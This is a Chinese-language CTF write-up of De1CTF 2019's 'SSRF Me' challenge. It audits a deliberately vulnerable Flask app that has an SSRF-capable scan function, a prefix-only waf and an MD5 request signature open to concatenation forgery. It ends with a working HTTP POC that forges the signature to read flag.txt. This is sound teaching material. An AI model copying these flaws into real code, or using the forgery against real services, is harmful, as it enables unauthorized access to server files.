【Flask SSTI&SSRF】De1CTF 2019 SSRF Me WriteUp

本文最后更新于:2021年8月18日下午1点40分

WriteUp:

代码审计:

打开题目,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

是Flask框架,一共三个路由

  • 路由一:/
  • 路由二:/De1ta
  • 路由三:/geneSign

路由一:(/)

首先针对路由一:

1
2
3
@app.route('/')
def index():
return open("code.txt","r").read()

读取code.txt源码

路由二:(/De1ta)

再针对路由二:

1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

可以看到有四个参数:action,param,sign,ip

  • action:从cookie中获取
  • param:从get中参数获取
  • sign:从cookie中获取
  • ip:服务器从remote_addr中获取

首先将param参数传入waf函数,判断param参数中是否以gopher或者file开头

1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

然后将这四个参数传入Task中,返回一个task对象,Task类中初始化的成员变量如下,下方代码分析会用到:

1
2
3
4
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)

并且对于challenge这个函数,返回值如下:

1
return json.dumps(task.Exec())

接着跟进Task类里的Exec函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

上方Task类中Exec函数的第四行,有一个checkSign,代码如下:

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

在这个checkSign中,里面调用了getSign方法,并且将结果与self.sign相比较。

跟进查看getSign方法,代码如下:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

传入了actionparam,并且将secret_key结合,求md5值,但是对于secret_key这个值,下方代码定义了这个值:

1
secert_key = os.urandom(16)

这个secret_key值,其实是随机的

跟进Task类里的Exec函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

这里有两个if判断,分别判断scanread在不在action中,如果在的话,第一个if先把param对应的文件内容写入result.txt这个临时文件中,在第二个if中,将result.txt文件取出并且返还给我们。这两个if是并列的,所以我们传入的action可以是scanread,也可以是readscan

路由三:(/geneSign)

代码如下:

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

跟进**getSign()**函数:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

解题:

首先action在题目中固定了,值为scan,所以我们要往里面添加一个read

并且在hint里面提示了,flag就在./flag.txt下面

所以我们先去/geneSign页面,往里面传param=flag.txtread

1
http://e836484a-a886-4c34-9bd3-88150a159c64.node4.buuoj.cn/geneSign?param=flag.txtread

image-20210724165142565

1
2
/geneSign?param=flag.txtread
md5(secert_key + "flag.txtreadscan") = "37614f5e6943e48a31d915b2dd5a70b3"

再去/De1ta页面,param里传flag.txtaction里传readscansign值就传在/geneSign页面中生成的md5

POC如下:

1
2
3
4
5
6
7
8
9
10
GET /De1ta?param=flag.txt HTTP/1.1
Host: e836484a-a886-4c34-9bd3-88150a159c64.node4.buuoj.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Connection: close
Cookie: action=readscan;sign=37614f5e6943e48a31d915b2dd5a70b3
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

image-20210724170253540

得到flag:flag{582ee19c-cfb8-463c-a521-9232a894ecf7}

资料参考: